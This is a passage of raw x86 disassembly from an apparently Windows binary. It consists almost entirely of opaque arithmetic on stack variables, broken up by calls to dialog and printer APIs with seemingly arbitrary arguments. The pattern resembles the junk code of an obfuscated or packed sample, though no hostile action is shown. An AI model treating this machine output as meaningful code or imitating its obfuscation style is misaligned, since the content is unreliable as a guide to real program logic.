mov edx, dword [ebp - 0x2e6c]
mov word [edx], cx
mov eax, dword [ebp - 0x2dfc]
sub eax, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e60]
mov dword [ebp - 0x2e5c], edx
mov eax, dword [ebp - 0x2e6c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xb50]
and ecx, edx
mov eax, dword [ebp - 0x2eac]
mov word [eax], cx
movzx ecx, byte [ebp - 0xd1]
mov edx, dword [ebp - 0x2e7c]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0xcf], cl
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2e64], edx
mov eax, dword [ebp - 0x2eb0]
mov ecx, dword [ebp - 0x2e60]
add ecx, dword [eax]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e64]
mov ecx, dword [ebp - 0x2e38]
sar eax, cl
mov dword [ebp - 0x2e2c], eax
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2e2c]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xcf]
or edx, eax
mov ecx, dword [ebp - 0x2ec0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb44]
xor eax, ecx
mov word [ebp - 0xb50], ax
mov edx, dword [ebp - 0x2e70]
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2ed0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xce]
sub eax, ecx
mov byte [ebp - 0xcd], al
movsx edx, word [ebp - 0xb4c]
mov eax, dword [ebp - 0x2ed4]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x7f4], dx
mov edx, dword [ebp - 0x2eb0]
mov eax, dword [ebp - 0x2e5c]
add eax, dword [edx]
mov dword [0x5193b8], eax
movzx ecx, word [ebp - 0xb44]
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xb48], cx
mov ecx, dword [ebp - 0x2e70]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x2e2c]
and eax, dword [ebp - 0x2e38]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e58]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e64]
mov dword [ebp - 0x2f2c], eax
mov ecx, dword [ebp - 0x2e60]
xor ecx, dword [ebp - 0x2dfc]
mov edx, dword [ebp - 0x2eb8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e64]
mov ecx, dword [ebp - 0x2e38]
sar eax, cl
mov dword [ebp - 0x2e2c], eax
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2e7c]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0xd0], dl
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2eac]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0xb50], ax
mov edx, dword [ebp - 0x2e38]
add edx, dword [ebp - 0x2e64]
mov dword [0x518008], edx
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [ebp - 0x2eb8]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x2dfc], edx
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2e80]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e64]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb50]
sub edx, eax
mov ecx, dword [ebp - 0x2eac]
mov word [ecx], dx
movzx edx, byte [ebp - 0xcf]
movzx eax, byte [ebp - 0xd1]
sub edx, eax
mov byte [ebp - 0xd0], dl
movsx ecx, byte [ebp - 0xcd]
movsx edx, byte [ebp - 0xce]
add ecx, edx
mov eax, dword [ebp - 0x2ea0]
mov byte [eax], cl
movsx ecx, word [ebp - 0x7f4]
mov edx, dword [ebp - 0x2ed4]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0xb4c], cx
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [ebp - 0x2eb0]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x2dfc], eax
mov ecx, dword [ebp - 0x2dfc]
and ecx, dword [ebp - 0x2e60]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e7c]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0xd0]
shl edx, cl
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x2efc]
add ecx, 0xf4
mov dword [ebp - 0x2efc], ecx
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2eac]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xb48], ax
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [ebp - 0x2e60]
xor eax, dword [edx]
mov dword [ebp - 0x2e5c], eax
mov ecx, dword [ebp - 0x2e38]
or ecx, dword [ebp - 0x2e64]
mov edx, dword [ebp - 0x2e80]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e38]
sub eax, dword [ebp - 0x2e2c]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2dfc]
mov ecx, dword [ebp - 0x2ed8]
mov dword [ecx], eax
movzx edx, word [ebp - 0xb44]
movzx eax, word [ebp - 0xb50]
and edx, eax
mov ecx, dword [ebp - 0x2e6c]
mov word [ecx], dx
movzx edx, byte [ebp - 0xd0]
movzx eax, byte [ebp - 0xcf]
sub edx, eax
mov byte [ebp - 0xd1], dl
cmp dword [ebp - 0x2efc], 0x7513
jne 0x419ae5
cmp dword [ebp - 0x2ec4], 0x10bdb
jae 0x41a372
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e38]
mov dword [0x518008], edx
mov eax, dword [ebp - 0x2e64]
add eax, dword [ebp - 0x2e2c]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e5c]
sub edx, dword [ebp - 0x2e60]
mov dword [ebp - 0x2dfc], edx
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2f2c]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e2c]
mov edx, dword [ebp - 0x2e58]
mov dword [edx], ecx
movsx eax, word [ebp - 0xb40]
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0xb4c], ax
movsx eax, byte [ebp - 0xcd]
mov ecx, dword [ebp - 0x2ed0]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xce], al
movzx eax, byte [ebp - 0xcf]
mov ecx, dword [ebp - 0x2ec0]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x2e7c]
mov byte [edx], al
movzx eax, word [ebp - 0xb44]
movzx ecx, word [ebp - 0xb50]
xor eax, ecx
mov word [ebp - 0xb48], ax
mov edx, dword [ebp - 0x2ec4]
add edx, 0xe3
mov dword [ebp - 0x2ec4], edx
mov eax, dword [ebp - 0x2ed8]
mov edx, dword [ebp - 0x2dfc]
mov ecx, dword [eax]
shr edx, cl
mov dword [0x5193b8], edx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [0x518008]
or ecx, dword [eax]
mov dword [ebp - 0x2e2c], ecx
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb48]
and eax, ecx
mov word [ebp - 0xb50], ax
movzx edx, byte [ebp - 0xcf]
movzx eax, byte [ebp - 0xd0]
add edx, eax
mov byte [ebp - 0xd1], dl
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [ebp - 0x2e5c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2eb8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2e64]
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2e64], ecx
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [ebp - 0x2e5c]
add eax, dword [edx]
mov dword [ebp - 0x2e60], eax
movzx ecx, word [ebp - 0xb48]
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xb44], cx
mov ecx, dword [ebp - 0x2eb0]
mov edx, dword [ebp - 0x2e5c]
sub edx, dword [ecx]
mov dword [0x5193b8], edx
mov eax, dword [ebp - 0x2e38]
sub eax, dword [ebp - 0x2e2c]
mov ecx, dword [ebp - 0x2f04]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ebp - 0x2f04]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2f2c], edx
movsx eax, word [ebp - 0xb40]
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
or eax, edx
mov word [ebp - 0xb4c], ax
movsx eax, byte [ebp - 0xcd]
movsx ecx, byte [ebp - 0xce]
xor eax, ecx
mov edx, dword [ebp - 0x2ea0]
mov byte [edx], al
mov eax, dword [ebp - 0x2ec0]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0xcf]
sar edx, cl
mov eax, dword [ebp - 0x2ef8]
mov byte [eax], dl
movzx ecx, word [ebp - 0xb50]
mov edx, dword [ebp - 0x2ebc]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x2eac]
mov word [edx], cx
mov eax, dword [ebp - 0x2dfc]
sub eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x2eb8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [ebp - 0x2dfc]
add eax, dword [edx]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2f2c]
sub edx, dword [ecx]
mov dword [0x518008], edx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e38]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ebp - 0x2e64]
and eax, dword [edx]
mov dword [ebp - 0x2e2c], eax
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x2e7c]
mov byte [eax], dl
movzx ecx, word [ebp - 0xb48]
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xb50], cx
mov ecx, dword [ebp - 0x2e70]
mov edx, dword [ebp - 0x2e5c]
sub edx, dword [ecx]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [ebp - 0x2e2c]
sub ecx, dword [eax]
mov dword [ebp - 0x2e38], ecx
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ebp - 0x2e38]
or eax, dword [edx]
mov dword [ebp - 0x2e64], eax
mov ecx, dword [ebp - 0x2eb8]
mov edx, dword [ebp - 0x2e70]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x2eb8]
mov dword [ecx], eax
movzx edx, word [ebp - 0xb48]
movzx ecx, word [ebp - 0xb44]
sar edx, cl
mov eax, dword [ebp - 0x2e6c]
mov word [eax], dx
mov ecx, dword [ebp - 0x2eb8]
mov edx, dword [ebp - 0x2dfc]
xor edx, dword [ecx]
mov eax, dword [0x5193bc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ed4]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xb40], dx
mov edx, dword [ebp - 0x2ed0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xcd]
add eax, ecx
mov edx, dword [ebp - 0x2ed0]
mov byte [edx], al
mov eax, dword [ebp - 0x2e5c]
add eax, dword [ebp - 0x2dfc]
mov ecx, dword [ebp - 0x2eb0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [0x518008]
sub eax, dword [edx]
mov dword [ebp - 0x2e2c], eax
movzx ecx, word [ebp - 0xb50]
movzx edx, word [ebp - 0xb44]
sub ecx, edx
mov eax, dword [ebp - 0x2ebc]
mov word [eax], cx
mov ecx, dword [ebp - 0x2ec0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0xd1], dl
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x2e80]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e5c]
add eax, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e60], eax
mov ecx, dword [0x5193b8]
sub ecx, dword [ebp - 0x2e5c]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e38]
sub eax, dword [ebp - 0x2e64]
mov dword [ebp - 0x2e2c], eax
jmp 0x419f1d
mov ecx, dword [ebp - 0x2dfc]
xor ecx, dword [ebp - 0x2e5c]
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [ebp - 0x2ed8]
mov edx, dword [edx]
or edx, dword [eax]
cmp ecx, edx
je 0x41a447
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [eax]
mov dword [ebp - 0x2f38], ecx
cmp dword [ebp - 0x2f38], 0x6125727
je 0x41a3b2
jmp 0x41a40c
movzx edx, word [ebp - 0xb44]
movzx eax, word [ebp - 0xb48]
and edx, eax
mov word [ebp - 0xb50], dx
lea ecx, [ebp - 0xe3d0]
push ecx
call dword [sym.imp.COMDLG32.dll_FindTextA]
mov dword [ebp - 0x2f3c], eax
movzx edx, byte [ebp - 0xd0]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0xd1], dl
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [ebp - 0x2dfc]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2eb0]
mov dword [ecx], eax
jmp 0x41a442
mov edx, dword [ebp - 0x2ea0]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0xcd]
push ecx
mov edx, dword [ebp - 0x2ed0]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x2ed0]
movzx edx, byte [ecx]
push edx
movzx eax, byte [0x518004]
push eax
call fcn.004eefc0
add esp, 0x14
jmp 0x41a4e8
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ebp - 0x2e9c]
mov esi, dword [ecx]
mov ecx, dword [edx]
sar esi, cl
cmp eax, esi
jge 0x41a4e8
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
mov dword [ebp - 0x2f40], ecx
cmp dword [ebp - 0x2f40], 0xa4d
je 0x41a498
cmp dword [ebp - 0x2f40], 0xf25
je 0x41a4d9
jmp 0x41a4e8
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2f04]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e38]
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
lea edx, [ebp - 0xe7d8]
push edx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [ebp - 0x2e90], eax
jmp 0x41a4e8
mov eax, dword [ebp - 0x2e2c]
push eax
call fcn.004ee520
add esp, 4
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2f2c], edx
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e38]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2eb0]
mov eax, dword [ebp - 0x2ed8]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2ea0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xcd]
add ecx, edx
mov eax, dword [ebp - 0x2ea0]
mov byte [eax], cl
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0xd1], dl
movzx ecx, word [ebp - 0xb44]
mov edx, dword [ebp - 0x2eac]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x2ebc]
mov word [edx], cx
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [eax]
or ecx, dword [0x5193b8]
mov dword [ebp - 0x2dfc], ecx
mov edx, dword [ebp - 0x2e70]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2dfc]
shl eax, cl
mov ecx, dword [ebp - 0x2eb8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd1]
add eax, ecx
mov edx, dword [ebp - 0x2e7c]
mov byte [edx], al
movzx eax, word [ebp - 0xb50]
mov ecx, dword [ebp - 0x2eac]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xb48], ax
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x2f2c], edx
mov eax, dword [0x5193bc]
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [0x5193b8], edx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [ebp - 0x2f2c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2f04]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x2e6c]
mov word [ecx], ax
movzx edx, byte [ebp - 0xd0]
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x2e7c]
mov byte [eax], dl
mov ecx, dword [0x5193bc]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2dfc]
mov eax, dword [ebp - 0x2eb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2e64]
mov eax, dword [ebp - 0x2f04]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ea0]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0xcd]
sar edx, cl
mov byte [ebp - 0xce], dl
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x2ed4]
movsx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x2e3c]
mov word [edx], cx
mov eax, dword [ebp - 0x2eb0]
mov edx, dword [ebp - 0x2dfc]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x5193b8], edx
mov eax, dword [ebp - 0x2ef8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x2e7c]
mov byte [edx], cl
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [ebp - 0x2ed8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2f2c], ecx
mov edx, dword [ebp - 0x2e58]
mov eax, dword [edx]
and eax, dword [ebp - 0x2e2c]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ed8]
mov eax, dword [0x5193bc]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2f2c]
mov dword [ebp - 0x2e2c], eax
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb48]
sub edx, eax
mov ecx, dword [ebp - 0x2eac]
mov word [ecx], dx
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xd1], al
mov eax, dword [ebp - 0x2f2c]
add eax, dword [ebp - 0x2e38]
mov dword [0x518008], eax
mov ecx, dword [ebp - 0x2e60]
sub ecx, dword [ebp - 0x2dfc]
mov edx, dword [ebp - 0x2e70]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2f20]
sub ecx, 0x2b
mov dword [ebp - 0x2f20], ecx
mov edx, dword [ebp - 0x2e80]
mov eax, dword [ebp - 0x2f04]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2e9c]
mov dword [edx], ecx
movzx eax, word [ebp - 0xb44]
mov ecx, dword [ebp - 0x2eac]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xb50], ax
mov edx, dword [ebp - 0x2ec0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x2e7c]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x2ef8]
mov byte [edx], al
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x2ed4]
movsx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x2e3c]
mov word [edx], cx
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x2ea0]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x2ed0]
mov byte [edx], cl
mov eax, dword [ebp - 0x2e70]
mov ecx, dword [0x5193bc]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x2dfc], edx
mov eax, dword [ebp - 0x2eb8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e5c]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
movzx eax, word [ebp - 0xb48]
mov ecx, dword [ebp - 0x2ebc]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x2e6c]
mov word [ecx], ax
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xcf]
and eax, ecx
mov byte [ebp - 0xd0], al
mov edx, dword [ebp - 0x2e70]
mov eax, dword [ebp - 0x2e60]
sub eax, dword [edx]
mov dword [ebp - 0x2e5c], eax
mov ecx, dword [ebp - 0x2f04]
mov edx, dword [0x518008]
add edx, dword [ecx]
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [ebp - 0x2f2c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2e9c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e5c]
sub eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x2eb8]
mov dword [ecx], eax
cmp dword [ebp - 0x2f20], 0xc03e
jae 0x41a4e8
mov edx, dword [ebp - 0x2ebc]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb48]
sub eax, ecx
mov word [ebp - 0xb44], ax
movsx edx, byte [ebp - 0xce]
movsx eax, byte [ebp - 0xcd]
xor edx, eax
mov ecx, dword [ebp - 0x2ea0]
movsx eax, byte [ecx]
movsx ecx, byte [0x518004]
sar eax, cl
cmp edx, eax
jle 0x41a9dd
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x2ebc]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x2eac]
movzx eax, word [eax]
movzx ecx, word [ebp - 0xb44]
shl eax, cl
cmp edx, eax
je 0x41a9dd
movzx ecx, byte [ebp - 0xcf]
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0xd0], cl
lea ecx, [ebp - 0xb40]
push ecx
push 0xa9
push 0xe
mov edx, dword [ebp - 0x2f44]
push edx
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov dword [ebp - 0x2f48], eax
mov eax, dword [ebp - 0x2eb0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e60]
mov edx, dword [0x5193bc]
mov dword [edx], ecx
movzx eax, word [ebp - 0xb44]
mov dword [ebp - 0x2f4c], eax
cmp dword [ebp - 0x2f4c], 0x385
je 0x41aa04
cmp dword [ebp - 0x2f4c], 0x8c3
je 0x41aa1c
jmp 0x41aa47
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2e9c]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x2f2c], eax
jmp 0x41aa47
mov ecx, dword [ebp - 0x2f50]
push ecx
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [ebp - 0x2e78], eax
mov edx, dword [ebp - 0x2e64]
push edx
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
push ecx
call fcn.004edd80
add esp, 8
cmp dword [ebp - 0x2ec8], 0x87a3
ja 0x41abe0
mov edx, dword [ebp - 0x2e70]
mov eax, dword [ebp - 0x2eb0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x2e5c], ecx
mov edx, dword [ebp - 0x2f04]
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2e80]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2e9c]
mov ecx, dword [ebp - 0x2e2c]
and ecx, dword [eax]
mov edx, dword [ebp - 0x2e80]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2ed0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xcd]
sub ecx, edx
mov eax, dword [ebp - 0x2ea0]
mov byte [eax], cl
movsx ecx, word [ebp - 0xb40]
movsx edx, word [ebp - 0x7f4]
sub ecx, edx
mov eax, dword [ebp - 0x2e3c]
mov word [eax], cx
movzx ecx, word [ebp - 0xb48]
movzx edx, word [ebp - 0xb50]
sub ecx, edx
mov word [ebp - 0xb44], cx
movzx eax, byte [ebp - 0xcf]
mov ecx, dword [ebp - 0x2e7c]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x2ec0]
mov byte [ecx], al
mov edx, dword [ebp - 0x2e70]
mov eax, dword [edx]
or eax, dword [ebp - 0x2e60]
mov dword [0x5193b8], eax
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2e2c]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x2e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ec8]
add ecx, 0xe9
mov dword [ebp - 0x2ec8], ecx
movzx edx, word [ebp - 0xb48]
movzx ecx, word [ebp - 0xb50]
sar edx, cl
mov eax, dword [ebp - 0x2eac]
mov word [eax], dx
mov ecx, dword [ebp - 0x2ef8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x2ec0]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0xcf], dl
mov edx, dword [ebp - 0x2eb8]
mov eax, dword [ebp - 0x2e60]
and eax, dword [edx]
mov ecx, dword [ebp - 0x2ed8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e2c]
add edx, dword [ebp - 0x2f2c]
mov eax, dword [ebp - 0x2e9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e9c]
mov edx, dword [ebp - 0x2e38]
sub edx, dword [ecx]
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2eb0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2ef8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xd0]
sub eax, ecx
